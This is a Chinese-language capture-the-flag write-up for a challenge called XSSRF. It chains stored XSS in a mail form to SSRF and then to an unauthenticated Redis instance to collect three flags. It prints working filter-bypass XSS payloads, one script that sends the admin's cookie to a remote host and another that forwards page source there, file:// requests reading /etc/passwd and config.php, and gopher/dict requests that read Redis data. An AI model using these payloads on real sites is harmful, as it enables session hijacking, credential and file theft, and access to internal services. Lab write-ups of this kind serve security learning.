XSS...
0x01
题目地址
打开题目,首页一张图片和一段话,这段话其实是之后的提示。
紧接着注册,登陆,根据题目的提示是一道xss。存在xss的点就在于sendmail
中,先进行基本操作,打一个cookie看看。
这里可以输入的点分别是subject
和content
。用相同的payload进行测试。
1
< script > alert ( 1 ) < / s c r i p t >
)
和<script
被过滤了。那么换img标签进行测试。括号换个HTNL实体编码。
1
< img src = 1 onerror = alert & lpar ; 1 & rpar ; >
HTML编码可以进行绕过。这里的onerror
事件被过滤。猜测大部分on事件都被过滤了。这里可以猜测下过滤方式,如果使用正则进行匹配的话,就能绕过。一开始以为是本地js检测,但是也没有在流量中获取到。于是这里采用svg
标签和onload
事件进行结合。
1
< svg / onload = alert & lpar ; 1 & rpar ; >
发送成功。其实如果你观察够仔细的话,你会发现那个提示是过滤了 onerror
而不是onerror
。从源代码就能看出来。测试就能发现这里的xss点是content
。
这里的payload的选择我一开始是尝试通过事件创建script
,从而调用远程的js文件,进而执行js获取cookie
,但是实际测试却发现只能对远程的js文件发起请求,却并不能执行js中的代码。(望知道的大佬告知😄)。这里先尝试直接向远程发送cookie
。
1
< svg / onload = "document.location='\\0'+document.cookie" > // 事件中使用html编码
Url解码得到第一个flag。其中还有admin的session和FLAG_2的提示IN_THE_REDIS
。
0x02
接着进入了xssleak
,顾名思义就是做个信息泄露,由于之前的cookie
已经得到,这里就想着去泄露页面的源代码。
那么由于之前不能使用远程加载js达到目的,这里就采用直接将xhr请求写入到事件中去,对页面发起请求,获得的结果返回到远程服务其上即可。
1
2
3
4
5
6
7
8
9
10
11
12
< svg / onload = "
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if (xhr.readyState == 4 && xhr.status == 200 )
{
source_code = xhr.responseText;
xhr.open('GET', '\\0');
xhr.send(null);
}
}
xhr.open('GET','index.php',true);
xhr.send(null);" > // 事件中使用html编码
解码得到index.php
的源代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
< html lang = "en" >
< head >
< meta charset = "UTF-8" >
< title > XSSRF< / title >
< link rel = "stylesheet" href = "bootstrap/css/bootstrap.min.css" media = "all" >
< link rel = "stylesheet" href = "style.css" media = "all" >
< / head >
< body >
< nav class = "navbar navbar-expand-lg navbar-dark bg-dark d-flex" >
< a class = "navbar-brand" href = "index.php" > XSSRF< / a >
< ul class = "navbar-nav" >
< li class = "nav-item" >
< a class = "nav-link" href = "sendmail.php" > Send Mail< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "mailbox.php" > Mailbox< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "sentmail.php" > Sent Mail< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "setadmin.php" > Set Admin< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "request.php" > Send Request< / a >
< / li >
< / ul >
< ul class = "navbar-nav ml-auto" >
< li class = "nav-item" >
< span class = "navbar-text" > Hello, admin (Administrator)< / span >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "logout.php" > Logout< / a >
< / li >
< / ul >
< / nav >
< div class = "container" >
< p >
Welcome to use corgi mail system.
Can you gain access to admin's panel?
< / p >
< img src = "/imgs/corgi-6.jpg" alt = "Hello" >
< / div >
< / body >
< / html >
这里就碰到一个问题,到底是去泄露什么信息。源代码虽然能泄露,但是看文件的名字都不像包含flag的,那么这里访问robots.txt
就能获取提示。
其中一个config.php
和一份源代码,选择源代码下载之后,发现需要密码,这里就没有办法继续。进而想到去泄露config.php
的源代码看看有没有压缩文件的密码。直接使用xhr请求是返回为空的。那么就得想其它办法去获取了。index.php
中有一个request.php
比较引人注目,看看源代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
< html lang = "en" >
< head >
< meta charset = "UTF-8" >
< title > XSSRF - Request< / title >
< link rel = "stylesheet" href = "bootstrap/css/bootstrap.min.css" media = "all" >
< link rel = "stylesheet" href = "style.css" media = "all" >
< style > pre { background-color : #eee ; padding : 5 px ; } < / style >
< / head >
< body >
< nav class = "navbar navbar-expand-lg navbar-dark bg-dark d-flex" >
< a class = "navbar-brand" href = "index.php" > XSSRF< / a >
< ul class = "navbar-nav" >
< li class = "nav-item" >
< a class = "nav-link" href = "sendmail.php" > Send Mail< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "mailbox.php" > Mailbox< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "sentmail.php" > Sent Mail< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "setadmin.php" > Set Admin< / a >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "request.php" > Send Request< / a >
< / li >
< / ul >
< ul class = "navbar-nav ml-auto" >
< li class = "nav-item" >
< span class = "navbar-text" > Hello, admin (Administrator)< / span >
< / li >
< li class = "nav-item" >
< a class = "nav-link" href = "logout.php" > Logout< / a >
< / li >
< / ul >
< / nav >
< div class = "container" >
< form action = "/request.php" method = "POST" >
< div class = "form-group" >
< label for = "url" > URL< / label >
< textarea name = "url" class = "form-control" id = "url" aria-describedby = "url" placeholder = "URL" rows = "10" > < / textarea >
< / div >
< button class = "btn btn-primary" > Send Request< / button >
< / form >
< / div >
< / body >
< / html >
这里有个URL可以看似可以用来请求,结合之前得FLAG_2的提示猜测是个SSRF。先使用file
获取/etc/passwd
。
base64解码后再使用HTML实体解码。
之后访问file:///var/www/html/config.php
,这个路劲可以根据用户的目录猜测即可。
解码之后得到flag2,并且得到提示flag3再redis中,并且给出端口25566
。
0x03
SSRF攻击Redis可以选择dict
或者gopher
。
利用dict获取redis信息,看是否是未授权。
1
url=dict://127.0.0.1:25566/info
1
2
3
4
5
6
7
8
9
10
11
12
# Server
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:687a2a319020fa42
redis_mode:standalone
os:Linux 4.4.0-130-generic x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:5.3.1
...
这里想一想不应该是个getshell的题目,那么flag就应该在redis里了。接着使用gopher
获取keys
。(gopher这种情况比dict好用)
1
url=gopher://127.0.0.1:25566/_KEYS%2520*%250d%250a
1
2
3
4
5
6
7
8
9
10
*2
$4
flag
$1
1
接着获得flag。
1
url=gopher://127.0.0.1:25566/_GET%2520flag%250d%250a
1
-WRONGTYPE Operation against a key holding the wrong kind of value
出现一个未知的错误,网上搜索了一下。原因就是使用了错误的获取数据的方法。获取flag的类型看看。
1
url=gopher://127.0.0.1:25566/_TYPE%2520flag%250d%250a
得知是个list的类型。紧接着使用LLEN
获取长度,最后使用LRANGE
就能获得flag3了。
1
2
url=gopher://127.0.0.1:25566/_LLEN%2520flag%250d%250a
url=gopher://127.0.0.1:25566/_LRANGE%25200%2520?
0x04 One's Storm
这是一个由XSS到SSRF再攻击Redis的实例
其中加载js失败的原因之后在进行测试
(ง •_•)ง
2018-08-23 23:23:39 星期四